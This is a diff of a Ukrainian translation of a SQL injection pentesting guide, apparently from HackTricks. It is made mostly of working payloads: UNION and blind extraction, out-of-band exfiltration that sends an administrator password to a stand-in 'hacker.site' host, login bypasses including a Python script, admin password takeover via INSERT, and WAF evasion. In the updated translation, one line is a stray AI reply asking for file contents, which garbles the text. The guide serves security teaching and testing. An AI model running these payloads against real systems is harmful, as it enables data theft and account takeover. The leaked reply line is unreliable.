1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Вам слід використовувати значення `null`, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, і null є дійсним у кожному випадку._
|
||||
_Ви повинні використовувати значення `null`, оскільки в деяких випадках типи стовпців з обох сторін запиту повинні бути однаковими, а `null` є допустимим у будь-якому випадку._
|
||||
|
||||
### Витягування імен бази даних, імен таблиць та імен стовпців
|
||||
### Отримання імен баз даних, імен таблиць та імен стовпців
|
||||
|
||||
У наступних прикладах ми будемо отримувати назву всіх баз даних, назву таблиці бази даних, імена стовпців таблиці:
|
||||
У наступних прикладах ми отримаємо назви всіх баз даних, ім'я таблиці певної бази даних та імена стовпців цієї таблиці:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -272,67 +272,67 @@ _Вам слід використовувати значення `null`, оск
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_Існує різний спосіб виявлення цих даних у кожній різній базі даних, але методологія завжди однакова._
|
||||
_Існує різний спосіб виявлення цих даних для кожної бази даних, але методологія завжди одна й та сама._
|
||||
|
||||
## Використання прихованого на основі об'єднання
|
||||
## Exploiting Hidden Union Based
|
||||
|
||||
Коли вихід запиту видимий, але ін'єкція на основі об'єднання здається недосяжною, це свідчить про наявність **прихованої ін'єкції на основі об'єднання**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на ін'єкцію на основі об'єднання, потрібно визначити запит виконання на бекенді.
|
||||
Коли результат запиту видно, але union-based injection здається недосяжним, це вказує на наявність **hidden union-based injection**. Така ситуація часто призводить до blind injection. Щоб перетворити blind injection на union-based, потрібно визначити виконуваний запит на стороні сервера.
|
||||
|
||||
Це можна зробити за допомогою технік сліпої ін'єкції разом із стандартними таблицями, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих стандартних таблиць рекомендується звернутися до документації цільового DBMS.
|
||||
Цього можна досягти, використовуючи техніки blind injection разом зі стандартними таблицями, специфічними для цільової системи управління базами даних (DBMS). Для розуміння цих стандартних таблиць рекомендовано звернутися до документації цільової DBMS.
|
||||
|
||||
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається запит на об'єднання, що полегшує експлуатацію нової доступної ін'єкції на основі об'єднання.
|
||||
Після того, як запит витягнуто, необхідно налаштувати ваш payload так, щоб безпечно закрити оригінальний запит. Після цього до payload додається union query, що дозволяє скористатися новоотриманою union-based injection.
|
||||
|
||||
Для більш детальної інформації зверніться до повної статті, доступної за посиланням [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
Для детальнішої інформації зверніться до повної статті за адресою [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Використання на основі помилок
|
||||
## Exploiting Error based
|
||||
|
||||
Якщо з якоїсь причини ви **не можете** бачити **вихід** **запиту**, але можете **бачити повідомлення про помилки**, ви можете використовувати ці повідомлення про помилки для **екстракції** даних з бази даних.\
|
||||
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете змогти скинути базу даних.
|
||||
Якщо з якоїсь причини ви **не можете** побачити **вивід** **запиту**, але можете **побачити повідомлення про помилки**, ви можете використати ці повідомлення, щоб **ex-filtrate** дані з бази даних.\
|
||||
Дотримуючись схожого порядку дій, як у Union Based exploitation, ви зможете dump the DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Використання сліпого SQLi
|
||||
## Експлуатація Blind SQLi
|
||||
|
||||
У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинний** або **хибний** відповідь, оскільки на сторінці є різний вміст.\
|
||||
У цьому випадку ви можете зловживати цією поведінкою, щоб вивантажити базу даних символ за символом:
|
||||
У цьому випадку ви не бачите результатів запиту або помилок, але можете **визначити**, коли запит **повертає** відповідь **true** або **false**, оскільки на сторінці відображається різний вміст.\
|
||||
У цьому випадку можна зловживати цією поведінкою, щоб dump базу даних char за char:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Використання Error Blind SQLi
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
Це **така ж ситуація, як і раніше**, але замість того, щоб розрізняти істинну/хибну відповідь з запиту, ви можете **розрізняти** наявність **помилки** в SQL запиті чи ні (можливо, через те, що HTTP сервер зривається). Тому в цьому випадку ви можете викликати SQL помилку щоразу, коли правильно вгадуєте символ:
|
||||
Це **той самий випадок, що й раніше**, але замість того, щоб розрізняти відповідь true/false від запиту, ви можете **відрізняти**, чи сталася **error** в SQL query чи ні (можливо через crash HTTP server). Тому в цьому випадку ви можете викликати SQLerror щоразу, коли правильно вгадуєте char:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Використання Time Based SQLi
|
||||
## Exploiting Time Based SQLi
|
||||
|
||||
У цьому випадку **немає** жодного способу **відрізнити** **відповідь** запиту на основі контексту сторінки. Але ви можете змусити сторінку **завантажуватися довше**, якщо вгаданий символ правильний. Ми вже бачили цю техніку в дії раніше, щоб [підтвердити вразливість SQLi](#confirming-with-timing).
|
||||
У цьому випадку немає жодного способу **розрізнити** **відповідь** запиту на основі контексту сторінки. Але можна змусити сторінку **завантажуватися довше**, якщо вгаданий символ правильний. Ми вже бачили цю техніку раніше, щоб [confirm a SQLi vuln](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Ви можете використовувати stacked queries для **виконання кількох запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже, ця техніка в основному корисна у зв'язку з **сліпими вразливостями**, де ви можете використовувати другий запит для виклику DNS-запиту, умовної помилки або затримки.
|
||||
Ви можете використовувати stacked queries, щоб **виконати кілька запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже ця техніка корисна насамперед для **blind vulnerabilities**, де ви можете використати другий запит, щоб викликати DNS lookup, conditional error або time delay.
|
||||
|
||||
**Oracle** не підтримує **stacked queries.** **MySQL, Microsoft** та **PostgreSQL** їх підтримують: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** не підтримує **stacked queries.** **MySQL, Microsoft** та **PostgreSQL** підтримують їх: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Якщо **жоден інший** метод експлуатації **не спрацював**, ви можете спробувати змусити **базу даних ексфільтрувати** інформацію на **зовнішній хост**, контрольований вами. Наприклад, через DNS-запити:
|
||||
Якщо **no-other** метод експлуатації **не спрацював**, ви можете спробувати змусити **database ex-filtrate** інформацію на **external host**, контрольований вами. Наприклад, через DNS queries:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### Витік даних поза каналом через XXE
|
||||
### Експфільтрація даних поза каналом зв'язку через XXE
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## Автоматизоване використання
|
||||
## Automated Exploitation
|
||||
|
||||
Перевірте [SQLMap Cheatsheet](sqlmap/index.html) для експлуатації вразливості SQLi за допомогою [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Перевірте [SQLMap Cheatsheet](sqlmap/index.html), щоб експлуатувати вразливість SQLi за допомогою [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Технічна специфічна інформація
|
||||
## Tech specific info
|
||||
|
||||
Ми вже обговорили всі способи експлуатації вразливості SQL Injection. Знайдіть ще кілька трюків, залежних від технології бази даних, у цій книзі:
|
||||
Ми вже обговорювали всі способи експлуатації вразливості SQL Injection. Знайдіть ще декілька трюків, залежних від технології бази даних, у цій книзі:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -340,48 +340,48 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
Або ви знайдете **багато трюків щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite та HQL у** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
Або ви знайдете **безліч трюків щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL у** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Обхід аутентифікації
|
||||
## Authentication bypass
|
||||
|
||||
Список для спроби обійти функціональність входу:
|
||||
Список для спроб обходу login-функціональності:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Обхід аутентифікації за допомогою сирого хешу
|
||||
### Raw hash authentication Bypass
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Цей запит демонструє вразливість, коли MD5 використовується з true для сирого виходу в перевірках автентифікації, що робить систему вразливою до SQL injection. Зловмисники можуть скористатися цим, створюючи введення, які, коли їх хешують, виробляють несподівані частини SQL-команд, що призводить до несанкціонованого доступу.
|
||||
Цей запит демонструє вразливість, коли MD5 використовується з true для raw output у перевірках автентифікації, через що система стає вразливою до SQL injection. Зловмисники можуть скористатися цим, підбираючи ввідні дані, які при хешуванні утворюють несподівані частини SQL-команд, що призводить до несанкціонованого доступу.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### Обхід аутентифікації за допомогою ін'єкції хешу
|
||||
### Обхід автентифікації через інжекцію хешу
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Рекомендований список**:
|
||||
|
||||
Вам слід використовувати як ім'я користувача кожен рядок списку, а як пароль завжди: _**Pass1234.**_\
|
||||
_(Ці пейлоади також включені у великий список, згаданий на початку цього розділу)_
|
||||
Ви повинні використовувати як username кожен рядок списку і як password завжди: _**Pass1234.**_\
|
||||
_(Ці payloads також включені в великий список, згаданий на початку цього розділу)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK Аутентифікація обхід
|
||||
### GBK Authentication Bypass
|
||||
|
||||
IF ' екранізовано, ви можете використовувати %A8%27, а коли ' буде екранізовано, буде створено: 0xA80x5c0x27 (_╘'_)
|
||||
Якщо ' is being escaped, ви можете використати %A8%27, і коли ' gets escaped, буде створено: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
%bf' or 1=1 -- --
|
||||
```
|
||||
Скрипт Python:
|
||||
Python-скрипт:
|
||||
```python
|
||||
import requests
|
||||
url = "http://example.com/index.php"
|
||||
@ -390,76 +390,76 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Поліглотна ін'єкція (мультіконтекст)
|
||||
### Polyglot injection (multicontext)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Insert Statement
|
||||
## Оператор INSERT
|
||||
|
||||
### Modify password of existing object/user
|
||||
### Змінити пароль існуючого об'єкта/користувача
|
||||
|
||||
Щоб це зробити, ви повинні спробувати **створити новий об'єкт з назвою "master object"** (ймовірно, **admin** у випадку користувачів), модифікуючи щось:
|
||||
Для цього слід спробувати **створити новий об'єкт з ім'ям "master object"** (ймовірно **admin** у випадку користувачів), змінивши щось:
|
||||
|
||||
- Створити користувача з ім'ям: **AdMIn** (великі та малі літери)
|
||||
- Створити користувача з ім'ям: **admin=**
|
||||
- **SQL Truncation Attack** (коли є якийсь **обмеження по довжині** в імені користувача або електронній пошті) --> Створити користувача з ім'ям: **admin \[багато пробілів] a**
|
||||
- **SQL Truncation Attack** (коли існує певне **обмеження довжини** в імені користувача або email) --> Створити користувача з ім'ям: **admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Якщо база даних вразлива, а максимальна кількість символів для імені користувача, наприклад, 30, і ви хочете видати себе за користувача **admin**, спробуйте створити ім'я користувача: "_admin \[30 пробілів] a_" і будь-який пароль.
|
||||
Якщо база даних уразлива і максимальна кількість символів для імені користувача, наприклад, становить 30, і ви хочете видавати себе за користувача **admin**, спробуйте створити ім'я користувача: "_admin \[30 spaces] a_" і будь-який пароль.
|
||||
|
||||
База даних **перевірить**, чи введене **ім'я користувача** **існує** в базі даних. Якщо **ні**, вона **обрізає** **ім'я користувача** до **максимально дозволеної кількості символів** (в цьому випадку до: "_admin \[25 пробілів]_") і потім **автоматично видалить всі пробіли в кінці, оновлюючи** в базі даних користувача "**admin**" з **новим паролем** (може з'явитися деяка помилка, але це не означає, що це не спрацювало).
|
||||
База даних буде **перевіряти**, чи введене **ім'я користувача** **існує** в базі. Якщо **ні**, вона **обріже** **ім'я користувача** до **максимально дозволеної кількості символів** (в цьому випадку до: "_admin \[25 spaces]_"), а потім **автоматично видалить усі пробіли в кінці, оновивши** в базі даних користувача "**admin**" з **новим паролем** (може з'явитися якась помилка, але це не означає, що атака не спрацювала).
|
||||
|
||||
Більше інформації: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Примітка: Ця атака більше не буде працювати, як описано вище, в останніх установках MySQL. Хоча порівняння все ще ігнорують пробіли в кінці за замовчуванням, спроба вставити рядок, який довший за довжину поля, призведе до помилки, і вставка не вдасться. Для отримання додаткової інформації про цю перевірку:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Додайте стільки `','',''`, скільки вважаєте за потрібне, щоб вийти з оператору VALUES. Якщо затримка виконується, у вас є SQLInjection.
|
||||
Додайте стільки `','',''`, скільки вважаєте за потрібне, щоб вийти з VALUES-виразу. Якщо затримка виконується, це SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли намагаються вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна використати для зміни пароля облікового запису адміністратора:
|
||||
Клауза `ON DUPLICATE KEY UPDATE` в MySQL використовується, щоб вказати дії, які має виконати база даних, коли робиться спроба вставити рядок, що призведе до дублювання значення в UNIQUE index або PRIMARY KEY. Наведений нижче приклад демонструє, як цю можливість можна використати для зміни пароля облікового запису адміністратора:
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
Вантаж для ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на електронну пошту існуючого адміністратора з наміром оновити пароль:
|
||||
injection payload може бути сформовано наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок — приманка, а другий націлений на існуючу електронну адресу адміністратора з метою оновлення пароля:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Ось як це працює:
|
||||
|
||||
- Запит намагається вставити два рядки: один для `generic_user@example.com` і інший для `admin_generic@example.com`.
|
||||
- Якщо рядок для `admin_generic@example.com` вже існує, спрацьовує клаузула `ON DUPLICATE KEY UPDATE`, яка інструктує MySQL оновити поле `password` існуючого рядка на "bcrypt_hash_of_newpassword".
|
||||
- Відповідно, аутентифікацію можна спробувати виконати, використовуючи `admin_generic@example.com` з паролем, що відповідає bcrypt хешу ("bcrypt_hash_of_newpassword" представляє bcrypt хеш нового пароля, який слід замінити на фактичний хеш бажаного пароля).
|
||||
- Запит намагається вставити два рядки: один для `generic_user@example.com` і ще один для `admin_generic@example.com`.
|
||||
- Якщо рядок для `admin_generic@example.com` вже існує, спрацьовує клаузула `ON DUPLICATE KEY UPDATE`, наказуючи MySQL оновити поле `password` існуючого рядка на "bcrypt_hash_of_newpassword".
|
||||
- Унаслідок цього можна буде спробувати виконати аутентифікацію з використанням `admin_generic@example.com` та пароля, що відповідає bcrypt-хешу ("bcrypt_hash_of_newpassword" означає bcrypt-хеш нового пароля і має бути замінений на фактичний хеш бажаного пароля).
|
||||
|
||||
### Витяг інформації
|
||||
### Отримання інформації
|
||||
|
||||
#### Створення 2 облікових записів одночасно
|
||||
|
||||
Коли намагаєтеся створити нового користувача, потрібні ім'я користувача, пароль та електронна пошта:
|
||||
При спробі створити нового користувача потрібні username, password та email:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### Використання десяткових або шістнадцяткових чисел
|
||||
#### Використання десяткових або шістнадцяткових
|
||||
|
||||
За допомогою цієї техніки ви можете витягувати інформацію, створюючи лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
|
||||
За цією технікою ви можете витягти інформацію, створивши лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
|
||||
|
||||
Використовуючи **hex2dec** та **substr**:
|
||||
Використовуючи **hex2dec** і **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
Щоб отримати текст, ви можете використовувати:
|
||||
I don't have the file contents. Please paste the contents of src/pentesting-web/sql-injection/README.md here (or provide the text). I will translate it to Ukrainian while preserving all markdown, tags, links, paths and code.
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
Використовуючи **hex** та **replace** (і **substr**):
|
||||
Використовуючи **hex** та **replace** (та **substr**):
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
@ -470,9 +470,9 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection - це ситуація, коли ін'єкційний запит не є тим, який дає вихід, але вихід ін'єкційного запиту йде до запиту, який дає вихід. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection — це ситуація, коли ін'єктований запит не є тим, який повертає вивід, але вивід ін'єктованого запиту передається в запит, який повертає вивід. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Example:
|
||||
Приклад:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
@ -483,7 +483,7 @@ Example:
|
||||
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - обхід за допомогою альтернатив пробілів
|
||||
No Space (%20) - bypass, що використовує альтернативи для whitespace
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -492,31 +492,31 @@ No Space (%20) - обхід за допомогою альтернатив пр
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
Без пробілів - обхід за допомогою коментарів
|
||||
No Whitespace - bypass за допомогою коментарів
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
Без пробілів - обхід за допомогою дужок
|
||||
No Whitespace - bypass із використанням дужок
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Обхід без коми
|
||||
### No commas bypass
|
||||
|
||||
No Comma - обхід за допомогою OFFSET, FROM та JOIN
|
||||
No Comma - bypass з використанням OFFSET, FROM та JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Generic Bypasses
|
||||
### Загальні обхідні методи
|
||||
|
||||
Чорний список за допомогою ключових слів - обхід за допомогою великих/малих літер
|
||||
Чорний список за ключовими словами - обхід із використанням верхнього/нижнього регістру
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Чорний список за допомогою ключових слів без урахування регістру - обхід за допомогою еквівалентного оператора
|
||||
Чорний список ключових слів (без врахування регістру) — обхід за допомогою еквівалентного оператора
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -524,10 +524,10 @@ OR -> || -> %7C%7C
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Обхід WAF за допомогою наукової нотації
|
||||
### Наукове позначення WAF bypass
|
||||
|
||||
Ви можете знайти більш детальне пояснення цього трюку в [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
В основному, ви можете використовувати наукову нотацію несподіваними способами, щоб обійти WAF:
|
||||
Детальніше про цей трюк можна знайти в [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
По суті, ви можете використовувати наукове позначення несподіваними способами, щоб обійти WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
@ -535,9 +535,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
По-перше, зверніть увагу, що якщо **оригінальний запит і таблиця, з якої ви хочете витягти прапор, мають однакову кількість стовпців**, ви можете просто зробити: `0 UNION SELECT * FROM flag`
|
||||
По‑перше, зауважте, що якщо **оригінальний запит і таблиця, з якої ви хочете витягти flag, мають однакову кількість стовпців**, ви можете просто зробити: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Можливо **отримати доступ до третього стовпця таблиці без використання його назви** за допомогою запиту, подібного до наступного: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, тому в sqlinjection це виглядатиме так:
|
||||
Можна **отримати доступ до третього стовпця таблиці без використання його імені** за допомогою запиту на кшталт: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, тож в sqlinjection це виглядало б так:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
@ -547,26 +547,56 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
Цей трюк був взятий з [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
Цей трюк взято з [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Інструменти для обходу WAF
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
Якщо введення користувача підставляється в SELECT list або в ідентифікатори таблиць/стовпців, prepared statements не допоможуть, оскільки bind parameters захищають лише значення, а не ідентифікатори. Поширений вразливий шаблон є:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Ідея exploitation: inject subquery у field position для exfiltrate arbitrary data:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
Примітки:
|
||||
- Це працює навіть коли WHERE клауза використовує bound parameter, оскільки список ідентифікаторів все ще string-concatenated.
|
||||
- Деякі стеки додатково дозволяють контролювати назву таблиці (tablename injection), що дає змогу виконувати cross-table reads.
|
||||
- Output sinks можуть відображати вибране значення в HTML/JSON, що дозволяє XSS або token exfiltration безпосередньо з відповіді.
|
||||
|
||||
Заходи пом'якшення:
|
||||
- Ніколи не конкатенуйте ідентифікатори з введення користувача. Відобразьте дозволені імена колонок у фіксований allow-list і правильно quote identifiers.
|
||||
- Якщо потрібен динамічний доступ до таблиць, обмежте його скінченним набором і вирішуйте server-side через безпечне відображення.
|
||||
|
||||
### Інструменти для підбору обходу WAF
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Інші посібники
|
||||
## Інші керівництва
|
||||
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Список виявлення брутфорсу
|
||||
## Список виявлення Brute-Force
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user